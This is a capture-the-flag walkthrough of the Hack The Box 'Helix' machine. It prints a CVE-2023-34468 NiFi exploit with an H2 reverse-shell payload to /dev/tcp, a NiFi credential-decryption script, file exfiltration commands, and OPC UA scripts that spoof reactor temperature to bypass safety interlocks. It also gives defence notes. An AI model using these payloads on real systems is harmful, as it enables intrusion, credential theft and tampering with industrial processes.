Hack The Box ICS / OT Linux Medium

Helix

Anonymous write to Apache NiFi triggers CVE-2023-34468 — H2's RUNSCRIPT turns a JDBC URL into a Java shell. Post-exploitation cracks NiFi's AES-GCM property encryption, but the real foothold is a private key buried in a diagnostic bundle. Root requires bribing an OPC UA reactor into thinking it's melting down, then unlocking a privileged maintenance console that was sitting in sudo -l all along.

PlatformHack The Box
DifficultyMedium
OSLinux
CVEsCVE-2023-34468
ProtocolOPC UA · IEC 62541
PoC (NiFi)sbouabid-sec
PoC (OPC UA)cybermaksx
01

Recon

Port scan — minimalist attack surface

The target greets us with two ports. Just two. Whoever configured this box either read a hardening guide or was enjoying the philosophical exercise of minimalism. Either way, with no credentials for SSH, the web stack is the only game in town.

shell
nmap -p- --min-rate 5000 -sV helix.htb
output
PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 8.9p1 Ubuntu 80/tcp open http nginx 1.18.0 (Ubuntu)
22
SSH
creds needed
80
HTTP
nginx 1.18.0
shell
echo "10.129.9.71 helix.htb" | sudo tee -a /etc/hosts

Virtual host enumeration

The main site on helix.htb is static and completely uninteresting — the kind of landing page that says "this box has more going on behind the curtain." nginx's vhost routing means multiple backends can sit behind one IP, each responding to a different Host: header. Time to enumerate.

shell
gobuster vhost -u http://helix.htb \ -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt \ --append-domain
output
Found: flow.helix.htb Status: 200 [Size: 1068]

flow.helix.htb — the word "flow" should immediately ring a bell for anyone who has spent time in the data engineering / middleware space. Let's see what's listening.

shell
echo "10.129.9.71 flow.helix.htb" | sudo tee -a /etc/hosts whatweb http://flow.helix.htb/nifi/
output
[200 OK] Title[NiFi], nginx/1.18.0, JQuery, PasswordField ...

Apache NiFi. A dataflow automation platform. In production environments it orchestrates ETL pipelines, moves data between systems, and — if misconfigured — hands root to the first person who asks nicely via its REST API.

Why vhost enum matters here: nginx routes requests based on the Host header. The same IP can serve completely different applications to different hostnames. Without this step, flow.helix.htb and its entire attack surface would remain invisible.
02

CVE-2023-34468 — NiFi Anonymous Write → H2 RCE

Checking access

NiFi exposes a REST API that, before we even think about exploitation, tells us exactly how much rope we have to hang ourselves with:

shell
curl -s http://flow.helix.htb/nifi-api/flow/current-user | jq
output — the API that does too much talking
{ "identity": "anonymous", "anonymous": true, "controllerPermissions": { "canRead": true, "canWrite": true } }

Anonymous. canWrite: true. This is the misconfiguration. Any unauthenticated client can create processors and controller services — the building blocks of NiFi's data flows. And where there's a controllable JDBC URL and an embedded H2 driver, there's RCE.

The vulnerability chain — how it actually works

CVE-2023-34468 is not a single bug but a combination of two completely intended features that, together, become unintended. Neither component is broken in isolation.

01
DBCPConnectionPool accepts arbitrary JDBC URLs. NiFi's database connection pooling service lets operators specify any JDBC connection string. This is the intended behavior — NiFi needs to connect to databases. The problem is it will connect to any database, including H2 in-memory instances with execution privileges.
02
H2's RUNSCRIPT FROM '<url>' fetches and executes SQL. H2 ships with a SQL command that downloads a script from an arbitrary URL and runs it. No sandboxing. No allowlist. If you can issue a query, you can make H2 phone home to your server. The driver (h2-2.1.214.jar) is already bundled in NiFi's lib directory — no upload required.
03
CREATE ALIAS embeds Java directly in SQL. H2 supports user-defined functions written in Java inline. The syntax is CREATE ALIAS name AS $$ java code $$. Inside that Java code, Runtime.getRuntime().exec() is fair game. SQL → Java → OS.
04
ExecuteSQL triggers the chain. NiFi's ExecuteSQL processor issues queries through the connection pool. Set the query to RUNSCRIPT FROM 'http://ATTACKER/rce.sql', start the processor, and the call stack becomes: NiFi → ExecuteSQL → DBCPConnectionPool → H2 → RUNSCRIPT → HTTP fetch → rce.sql → CREATE ALIAS → exec() → reverse shell.

The SQL payload served by the PoC's built-in HTTP server:

rce.sql — delivered over HTTP, executed by H2
CREATE ALIAS IF NOT EXISTS SHELLEXEC AS $$ String shellexec(String cmd) throws java.io.IOException { String[] command = {"bash", "-c", cmd}; java.util.Scanner s = new java.util.Scanner( Runtime.getRuntime().exec(command).getInputStream() ).useDelimiter("\\A"); return s.hasNext() ? s.next() : ""; } $$; CALL SHELLEXEC('bash -i >& /dev/tcp/LHOST/LPORT 0>&1');
Note on revision.version: NiFi uses optimistic locking — every API object carries a version number that you must include in mutation requests. The PoC fetches the current version before each write. If you skip this, you get HTTP 409. This is also why you can't just replay API calls blindly — the version always drifts.
03

Exploitation — Running the PoC

The public PoC by sbouabid-sec automates the entire chain. Internally it runs a Python HTTPServer in a daemon thread to serve rce.sql, then drives the NiFi API through six steps. Here's the breakdown of what the code actually does:

StepMethod / EndpointWhat it does
check_accessGET /nifi-api/flow/current-userConfirms canWrite: true, aborts if not
get_root_pgGET /nifi-api/flow/process-groups/rootRetrieves the root process group ID — the container for new components
create_controller_servicePOST /nifi-api/process-groups/{pg}/controller-servicesCreates DBCPConnectionPool with jdbc:h2:mem:tempdb pointing at the bundled H2 driver
enable_controller_servicePUT /nifi-api/controller-services/{id}/run-statusSets state to ENABLED — NiFi won't let processors use a disabled service
create_processorPOST /nifi-api/process-groups/{pg}/processorsCreates ExecuteSQL with query RUNSCRIPT FROM 'http://LHOST/rce.sql'
triggerPUT /nifi-api/processors/{id}/run-statusSets processor to RUNNING — triggers the SQL execution chain
shell — listener first, then exploit
nc -lvnp 7777
shell — fire
sudo python3 CVE-2023-34468_poc.py \ --target http://flow.helix.htb \ --lhost 10.10.14.214 \ --lport 7777
output
[*] Target: http://flow.helix.htb | LHOST: 10.10.14.214:7777 | HTTP: 80 [*] HTTP server up on :80 [*] Checking access... [+] Identity: anonymous | Anonymous: True | canWrite: True [+] Target is exploitable [*] Getting root process group ID... [+] PG ID: 73c3382f-... [*] Creating DBCPConnectionPool... [+] CS ID: a1b2c3d4-... [*] Enabling controller service... [+] Controller service enabled [*] Creating ExecuteSQL processor... [+] Processor ID: e5f6a7b8-... [*] Starting processor... [+] rce.sql delivered to target [+] Processor running — waiting for shell on port 7777...
On sudo: The built-in HTTP server binds to port 80 by default, which requires root on Linux. Pass --http-port 8000 to avoid needing sudo entirely. The target just needs to reach whichever port you specify.

Shell stabilization

Raw reverse shells are painful — no arrow keys, no tab completion, Ctrl+C kills your session. Stabilize immediately:

shell — upgrade to interactive PTY
python3 -c 'import pty; pty.spawn("/bin/bash")' # Ctrl+Z to background stty raw -echo; fg export TERM=xterm id uid=998(nifi) gid=998(nifi) groups=998(nifi)

We are nifi. Not root, not operator — but we own the entire NiFi installation directory, and that turns out to matter a lot.

04

Post-Exploitation — Mining the NiFi Install

Configuration files worth reading

shell
cd /opt/nifi-1.21.0 ls -la conf/

Three files are interesting in any NiFi installation:

①
bootstrap.conf — nifi.bootstrap.sensitive.key is empty; run.as=nifi. NiFi doesn't run as root, so there's no direct "NiFi → root" path through the service itself.
②
login-identity-providers.xml — single-user-provider is declared but Username/Password fields are blank. When blank, NiFi auto-generates credentials on first start and logs them. Checking the logs yields nothing — the generated password was never persisted in a readable way here.
③
nifi.properties — contains the master key for encrypting sensitive properties. This is the crown jewel of the config directory.
shell
grep -iE "sensitive" conf/nifi.properties
output
nifi.sensitive.props.key=TUHh+YHA30zmdlcA8xq/elNBLPkO03Nl nifi.sensitive.props.algorithm=NIFI_PBKDF2_AES_GCM_256

Encrypted credential in flow.xml

NiFi stores its entire dataflow graph — processors, connections, controller services — in conf/flow.xml.gz. Among the components is a controller service named MaintenanceDB:

shell
gunzip -k conf/flow.xml.gz grep -A5 -B5 "enc{" conf/flow.xml
output — excerpt from flow.xml
<property><name>Database User</name><value>operator</value></property> <property><name>Password</name> <value>enc{000db0a82c5e0aeb037a09dbe6ac59996f34415732cde10282bc1752f70da2e58da3b27232778f1c6fe1c6d2e66d053f9f13}</value> </property>

The username is operator — same as an actual system user. The password is AES-GCM encrypted. But we have the key. Time to decrypt.

05

Decrypting NiFi Sensitive Properties

The algorithm — NIFI_PBKDF2_AES_GCM_256

NiFi's encryption scheme is documented in its source code (StandardPropertySecretKeyProvider, PBKDF2SecureHasher, KeyedCipherPropertyEncryptor). The relevant parameters for version 1.21.0:

KDF
PBKDF2-HMAC-SHA512, 160,000 iterations, 32-byte output (AES-256 key).
Salt
Fixed string: "NiFi Static Salt". Because saltLength=0, the implementation falls back to this static value instead of a random per-encryption salt. This is why decryption is deterministic given just the master key — the static salt makes the derived key identical every time.
Cipher
AES/GCM/NoPadding, 128-bit authentication tag, no AAD. The blob format inside enc{} is hex-encoded: [IV: 16 bytes][ciphertext][GCM tag: 16 bytes].
Critical detail — the static salt. Without knowing that NiFi uses "NiFi Static Salt" as the PBKDF2 salt, decryption fails with MAC check failed and looks impossible. This detail is buried in the source code. The MAC failure is cryptographic proof that every other combination of parameters is wrong — when it passes, you have the right salt.

Decryption script

python — decrypt_nifi.py
#!/usr/bin/env python3 import sys from hashlib import pbkdf2_hmac from Crypto.Cipher import AES # pip install pycryptodome STATIC_SALT = b"NiFi Static Salt" ITERATIONS = 160_000 DK_LEN, IV_LEN, TAG_LEN = 32, 16, 16 def decrypt(props_key, enc_value): v = enc_value.strip() if v.startswith("enc{") and v.endswith("}"): v = v[4:-1] raw = bytes.fromhex(v) iv, body = raw[:IV_LEN], raw[IV_LEN:] ct, tag = body[:-TAG_LEN], body[-TAG_LEN:] key = pbkdf2_hmac("sha512", props_key.encode(), STATIC_SALT, ITERATIONS, DK_LEN) return AES.new(key, AES.MODE_GCM, nonce=iv).decrypt_and_verify(ct, tag).decode() if __name__ == "__main__": print("[+] Decrypted:", decrypt(sys.argv[1], sys.argv[2]))
shell
python3 decrypt_nifi.py \ "TUHh+YHA30zmdlcA8xq/elNBLPkO03Nl" \ "enc{000db0a82c5e0aeb037a09dbe6ac59996f34415732cde10282bc1752f70da2e58da3b27232778f1c6fe1c6d2e66d053f9f13}" [+] Decrypted: R7qZ9L3xKM2W8pFYcA

The GCM tag passed decrypt_and_verify without raising an exception — that's a cryptographic guarantee the plaintext is correct. We have the MaintenanceDB database password.

06

Red Herring — The Password That Isn't

The obvious next move: try R7qZ9L3xKM2W8pFYcA as the system password for operator. The machine lures you here deliberately.

shell — the wall
su operator Authentication failure ssh [email protected] Permission denied (publickey)

Neither works. The credential belongs to the database user operator inside MaintenanceDB — a MySQL/PostgreSQL credential, not a Unix login. /etc/passwd confirms that operator is a real system user with /bin/bash as their shell, but their authentication is key-based, not password-based.

Lesson: "operator" as a database username and "operator" as a system user are coincidentally the same string but completely different identities. The decryption exercise was worthwhile — understanding what a credential is for is as important as obtaining it. The real foothold is elsewhere.
07

Real Foothold — SSH Key in a Support Bundle

Going back to the filesystem: among the directories under /opt/nifi-1.21.0/ is one named support-bundles/. NiFi generates support bundles as diagnostic archives for troubleshooting. What belongs in a support bundle? Logs, thread dumps, configuration snapshots. What absolutely should not be in a support bundle? A private SSH key.

shell
ls -la /opt/nifi-1.21.0/support-bundles/ # drwxr-x--- owned by nifi — we can read this find /opt/nifi-1.21.0/support-bundles/ -type f /opt/nifi-1.21.0/support-bundles/operator_id_ed25519.bak cat /opt/nifi-1.21.0/support-bundles/operator_id_ed25519.bak
output
-----BEGIN OPENSSH PRIVATE KEY----- ... -----END OPENSSH PRIVATE KEY-----

A private Ed25519 key backed up as .bak. The .bak extension is cosmetic — the file contains a standard PEM-encoded OpenSSH private key. Copy the contents, fix the permissions, and connect.

attacker machine
# Paste key contents into a local file nano operator_id_ed25519 chmod 600 operator_id_ed25519 # SSH refuses keys with loose permissions head -1 operator_id_ed25519 -----BEGIN OPENSSH PRIVATE KEY-----
On passphrases: If the key were passphrase-protected, the workflow would be: ssh2john operator_id_ed25519 > key.hash && john --wordlist=rockyou.txt key.hash. This key has no passphrase — straight through.
08

User Flag

shell
ssh -i operator_id_ed25519 [email protected] operator@helix:~$ id uid=1001(operator) gid=1001(operator) groups=1001(operator) operator@helix:~$ cat user.txt HTB{...}

User flag captured. The attack surface for the next phase is now fully visible from inside the box.

09

Privilege Escalation — OPC UA Reactor Safety Logic

What's on the inside

A quick look at the home directory reveals more than just a flag:

shell
operator@helix:~$ ls -la total 968 -rw------- 1 operator operator 920611 Jan 26 16:15 'control systems diagram.png' -rw-rw-r-- 1 operator operator 28453 Apr 16 08:50 'Operator Control & Safety Guide.pdf' -rw-r----- 1 root operator 33 May 29 10:45 user.txt

A control systems diagram and an operator guide. The PDF is locked.

Cracking the PDF password

Exfiltrate both files using a quick Python HTTP server and crack the PDF password with john:

shell — on target
python3 -m http.server # Serving HTTP on 0.0.0.0 port 8000
shell — on attacker
wget http://helix.htb:8000/"Operator Control & Safety Guide.pdf" wget http://helix.htb:8000/"control systems diagram.png"
shell — crack PDF password
pdf2john "Operator Control & Safety Guide.pdf" > hash john --wordlist=~/Downloads/rockyou.txt hash
output
Loaded 1 password hash (PDF [MD5 SHA2 RC4/AES 32/64]) Cost 1 (revision) is 6 for all loaded hashes Will run 14 OpenMP threads Press 'q' or Ctrl-C to abort... operator1 (Operator Control & Safety Guide.pdf) 1g 0:00:00:59 DONE

Password: operator1. Rockyou strikes again — as reliable as a 4 AM pager alert and roughly as welcome. The PDF describes the reactor control system, the OPC UA address space, and crucially, the conditions required to open a Privileged Maintenance Window.

Internal services — SSH tunnel

Socket inspection from inside the box reveals two services that were invisible during the initial nmap scan:

shell
ss -tlnp 2>/dev/null
output
LISTEN 0 128 127.0.0.1:8081 *:* # Reactor HMI (web interface) LISTEN 0 128 127.0.0.1:4840 *:* # OPC UA server

Both bind to loopback only. We need an SSH tunnel to reach them from our machine:

shell — port-forward both services
ssh -i operator_id_ed25519 -fN \ -L 4840:127.0.0.1:4840 \ -L 8081:127.0.0.1:8081 \ [email protected]
shell — confirm OPC UA is reachable
nmap -p 4840 -sC 127.0.0.1
output
PORT STATE SERVICE 4840/tcp open opcua-tcp

OPC UA — address space enumeration (deep_recon.py)

OPC UA (IEC 62541) is the industrial protocol used in SCADA and ICS environments for reading sensor values and issuing control commands. The server exposes a hierarchical address space of nodes — each with a numeric ID and a readable value.

The deep_recon.py script (github.com/cybermaksx/HTB-Helix-OPC-UA-PoC) connects anonymously and recursively walks the Plant object tree, printing every node's name, ID, current value, and type:

python — deep_recon.py (simplified)
from opcua import Client def browse_node(node, level=0): for child in node.get_children(): name = child.get_display_name().Text nodeid = child.nodeid val_str = "N/A" try: val_str = str(child.get_value()) except: pass print(f"{' ' * level}Name: {name:<30} | ID: {str(nodeid):<25} | Val: {val_str}") browse_node(child, level + 1) client = Client("opc.tcp://127.0.0.1:4840") client.connect() browse_node(client.get_node("ns=2;i=1")) # Plant root
output — mapped address space
Name: Plant | ID: ns=2;i=1 Name: Reactor | ID: ns=2;i=2 Name: Temperature | ID: ns=2;i=4 | Val: 283.2 | Type: float Name: Pressure | ID: ns=2;i=5 | Val: 68.1 | Type: float Name: CalibrationOffset | ID: ns=2;i=6 | Val: 0.0 | Type: float Name: Safety | ID: ns=2;i=7 Name: TripActive | ID: ns=2;i=8 | Val: False | Type: bool Name: EmergencyCooling | ID: ns=2;i=9 | Val: False | Type: bool Name: Control | ID: ns=2;i=11 Name: Mode | ID: ns=2;i=12 | Val: NORMAL | Type: str Name: TestOverride | ID: ns=2;i=13 | Val: False | Type: bool

sudo -l — the hidden door

Before touching any OPC UA node, run the classic post-login check. sudo -l reveals something that was sitting there the whole time, waiting for the right conditions:

shell
operator@helix:~$ sudo -l
output
Matching Defaults entries for operator on helix: env_reset, mail_badpass, ... User operator may run the following commands on helix: (root) NOPASSWD: /usr/local/sbin/helix-maint-console

A root NOPASSWD binary. helix-maint-console can be run as root without a password. Running it immediately, though, outputs an error — the console checks whether the Privileged Maintenance Window is currently open and refuses to proceed if it isn't. The reactor needs to be in a critical state first. That's what the OPC UA manipulation is for.

Order matters. helix-maint-console is gated behind the reactor state. If you run it before the maintenance window is open, it rejects you. The OPC UA temperature manipulation is the prerequisite — not the exploit itself, but the key that unlocks the exploit.

The exploitation strategy — OPC UA CalibrationOffset

The operator guide (password: operator1) explains the logic: the Privileged Maintenance Window opens when Temperature ≥ 295°C or Pressure ≥ 73 bar, but only if TripActive is False. In NORMAL mode, the PLC enforces operational limits and ignores CalibrationOffset. In MAINTENANCE mode with TestOverride=True, the offset biases the reported temperature — without actually heating anything. We're lying to the sensor layer, and the safety controller believes every word.

Logic flaw, not memory corruption. ICS CTF challenges rarely involve shellcode. The vulnerability here is that MAINTENANCE mode + TestOverride together allow the calibration offset to bypass safety interlocks. The PLC trusts the calibrated sensor value. Bias the calibration, bias reality — at least as far as the control system is concerned.

Step 1 — OPC UA address space enumeration (deep_recon.py)

OPC UA (IEC 62541) is the industrial protocol used in SCADA/ICS environments for reading sensors and issuing control commands. The deep_recon.py script from cybermaksx/HTB-Helix-OPC-UA-PoC connects anonymously and recursively walks the Plant object tree, printing every node's name, ID, current value, and type:

python — deep_recon.py (simplified)
from opcua import Client def browse_node(node, level=0): for child in node.get_children(): name = child.get_display_name().Text nodeid = child.nodeid val_str = "N/A" try: val_str = str(child.get_value()) except: pass print(f"{' ' * level}Name: {name:<30} | ID: {str(nodeid):<25} | Val: {val_str}") browse_node(child, level + 1) client = Client("opc.tcp://127.0.0.1:4840") client.connect() browse_node(client.get_node("ns=2;i=1")) # Plant root
output — full address space map
Name: Plant | ID: ns=2;i=1 Name: Reactor | ID: ns=2;i=2 Name: Temperature | ID: ns=2;i=4 | Val: 283.2 | Type: float Name: Pressure | ID: ns=2;i=5 | Val: 68.1 | Type: float Name: CalibrationOffset | ID: ns=2;i=6 | Val: 0.0 | Type: float Name: Safety | ID: ns=2;i=7 Name: TripActive | ID: ns=2;i=8 | Val: False | Type: bool Name: EmergencyCooling | ID: ns=2;i=9 | Val: False | Type: bool Name: Control | ID: ns=2;i=11 Name: Mode | ID: ns=2;i=12 | Val: NORMAL | Type: str Name: TestOverride | ID: ns=2;i=13 | Val: False | Type: bool

The three nodes that matter: Mode (ns=2;i=12), TestOverride (ns=2;i=13), and CalibrationOffset (ns=2;i=6). All three are writable by anonymous clients — because why would a reactor have access control on its safety-adjacent parameters?

Step 2 — raise the temperature (final_push.py)

The final_push.py script from cybermaksx/HTB-Helix-OPC-UA-PoC sets the mode to MAINTENANCE, enables TestOverride, then walks CalibrationOffset up in 0.5 steps — polling the reported temperature until it crosses 295°C. It starts at 9.0 because manually raising to that point first, then running the script to finish the job, avoids unnecessarily long wait times if reconnection is needed.

python — final_push.py annotated
from opcua import Client, ua client = Client("opc.tcp://127.0.0.1:4840", timeout=20000) # longer timeout vs connection drops client.connect() # Prerequisite: MAINTENANCE mode + TestOverride lets CalibrationOffset take effect client.get_node("ns=2;i=12").set_value("MAINTENANCE") client.get_node("ns=2;i=13").set_value(True) current_offset = 9.0 # resume near the plateau, avoid starting from 0 while True: try: temp = client.get_node("ns=2;i=4").get_value() except: # reconnect logic — high-load polling can drop the session client.disconnect(); client.connect() continue if temp >= 295.0: print("[+] We got this! Temperature >= 295°C.") break if temp < 295.0 - 0.5: current_offset += 0.5 # ua.Variant(Double) required — Python float causes BadTypeMismatch client.get_node("ns=2;i=6").set_value( ua.Variant(current_offset, ua.VariantType.Double) )
BadTypeMismatch — the most annoying 30 minutes of this box. The OPC UA server enforces strict data types. Writing a bare Python float to a node that expects a Double fails with BadTypeMismatch. The fix is always ua.Variant(value, ua.VariantType.Double). This trips up everyone who hasn't been burned by OPC UA type strictness before — which is most people, because most people haven't touched OPC UA before.
shell — run it
python3 final_push.py
output
[*] Connecting to opc.tcp://127.0.0.1:4840... [+] Connected! [*] Continuing with Offset: 9.0. Goal: 295.0°C Temp: 283.20°C | Offset: 9.00 Temp: 284.10°C | Offset: 9.50 Temp: 285.00°C | Offset: 10.00 Temp: 285.90°C | Offset: 10.50 ... Temp: 293.60°C | Offset: 19.50 # briefly plateaued here — step held at 0.5 Temp: 294.50°C | Offset: 20.50 Temp: 295.10°C | Offset: 21.00 [+] We got this! Temperature >= 295°C. [*] Check web interface!

Temperature is reported at 295°C. TripActive is still False — we never touched EmergencyCooling, so the safety system sees no reason to panic. The HMI on port 8081 flips the Privileged Maintenance Window status to OPEN.

Step 3 — helix-maint-console → root

Now that the maintenance window is open, the sudo rule becomes exploitable. helix-maint-console checks the window status internally — when it's open, the console runs as root and grants a privileged shell. When it's closed, it prints an error and exits. The OPC UA manipulation was the gating condition the entire time.

shell — on the target (SSH session as operator)
operator@helix:~$ sudo /usr/local/sbin/helix-maint-console
output
[ Helix Maintenance Console ] Maintenance window: OPEN Authenticating as: root root@helix:~# id uid=0(root) gid=0(root) groups=0(root) root@helix:~# cat /root/root.txt HTB{...}
Root obtained. The complete privilege escalation chain: PDF crack → operator guide → SSH tunnel → OPC UA recon → CalibrationOffset manipulation → Temperature ≥ 295°C → Maintenance Window OPEN → sudo helix-maint-console → root shell.
10

Full Attack Chain

nmap (22, 80) └─ vhost enum → flow.helix.htb └─ Apache NiFi 1.21.0, anonymous canWrite:true └─ CVE-2023-34468 (sbouabid-sec PoC) — DBCPConnectionPool + H2 RUNSCRIPT └─ reverse shell as nifi ├─ conf/nifi.properties → sensitive.props.key │ └─ flow.xml enc{...} → PBKDF2+AES-GCM decrypt │ └─ R7qZ9L3xKM2W8pFYcA (DB cred — dead end) └─ support-bundles/operator_id_ed25519.bak ← real foothold └─ ssh -i key [email protected] → user.txt └─ sudo -l → (root) NOPASSWD: /usr/local/sbin/helix-maint-console └─ pdf2john + john → "operator1" (Operator Guide) └─ SSH tunnel → 127.0.0.1:4840 (OPC UA) └─ deep_recon.py → address space map └─ final_push.py (cybermaksx PoC) └─ MAINTENANCE + TestOverride + CalibrationOffset └─ Temp >= 295°C, TripActive=False └─ Maintenance Window OPEN └─ sudo helix-maint-console → root.txt
11

Key Takeaways

01
Anonymous write to any workflow engine is game over. NiFi, Airflow, n8n — if unauthenticated clients can create tasks, and those tasks can hit a database or execute code, you have RCE. "But it's internal" is not a security boundary.
02
CVE-2023-34468 is a feature interaction, not a classic bug. DBCPConnectionPool is supposed to accept JDBC URLs. H2 is supposed to support RUNSCRIPT. CREATE ALIAS is documented Java extension. Three intended features, one unintended shell. Fixed in NiFi 1.22.0 by restricting allowed JDBC drivers/URLs.
03
Static salts destroy key derivation security. PBKDF2 with a random per-secret salt is standard. NiFi 1.21.0 uses "NiFi Static Salt" — a constant. Once you know the sensitive.props.key and this salt, every encrypted value in every flow.xml using the same installation is decryptable. The algorithm is fine; the implementation choice is the vulnerability.
04
Diagnostic artifacts are a treasure map. Support bundles, heap dumps, thread dumps, and debug archives often contain credentials, keys, and internal addresses that were captured "just for debugging." Anything under support-bundles/ is worth reading — even if the extension says .bak.
05
OPC UA type strictness is not optional. BadTypeMismatch from an OPC UA server means you're writing a Python float where a Double variant is expected. Always use ua.Variant(value, ua.VariantType.Double) when writing to nodes on strict servers. The error message is cryptic but the fix is mechanical.
06
ICS vulnerabilities are logic flaws, not memory corruption. The OPC UA exploit here doesn't require shellcode, ROP chains, or heap sprays. It requires reading the operator manual, understanding the state machine, and setting three variables in the right order. Operational Technology security is about understanding the process, not just the protocol.
07
Decrypted credentials aren't always for what you think. Finding a credential named after a system user doesn't mean it's that user's system password. Enumerate what the credential is for before testing it everywhere and burning time on dead ends.
08
NOPASSWD sudo binaries gated by application state are time-delayed privilege escalations. helix-maint-console was a root shell sitting in plain sight in sudo -l — but only executable after the reactor's maintenance window opened. The sudo rule was always there; the OPC UA manipulation was the key to unlocking it. Always run sudo -l immediately after gaining shell access, even if the binary looks useless without context.
09
Read every piece of documentation the box hands you. The locked PDF wasn't flavor text — it contained the exact temperature threshold (295°C), the exact mode sequence (NORMAL → MAINTENANCE + TestOverride), and the exact conditions for the maintenance window. In ICS scenarios especially, provided documentation is almost always a technical specification of the exploit path. Crack it, read it, follow it.
Chain complete. vhost enum → NiFi anonymous write → CVE-2023-34468 H2 RCE (sbouabid-sec PoC) → sensitive.props decrypt → SSH key from support bundle → user.txt → sudo -l → PDF crack (john/rockyou) → SSH tunnel → OPC UA recon (deep_recon.py) → CalibrationOffset walk (final_push.py) → Temp ≥ 295°C, TripActive=False → Maintenance Window OPEN → sudo helix-maint-console → root.txt.
12

Defense Notes

①
Disable anonymous write access in NiFi. nifi.properties: set nifi.security.allow.anonymous.authentication=false. Require authentication for all API calls.
②
Update to NiFi 1.22.0+. CVE-2023-34468 is patched. The fix restricts which JDBC drivers and URL schemes are permitted in DBCPConnectionPool.
③
Protect sensitive.props.key with file ACLs or a secrets manager. Anyone who can read nifi.properties can decrypt all stored credentials. Vault integration (HashiCorp Vault, AWS Secrets Manager) removes the key from the filesystem entirely.
④
Purge private keys from support bundles. Before archiving any diagnostic bundle, strip ~/.ssh/, key files, and any material under .ssh/ paths. Rotate any key that made it into a bundle — assume it's compromised.
⑤
Implement OPC UA access control. OPC UA supports role-based access — nodes can be made read-only or write-restricted to authenticated sessions. CalibrationOffset and Mode should not be writable by anonymous clients.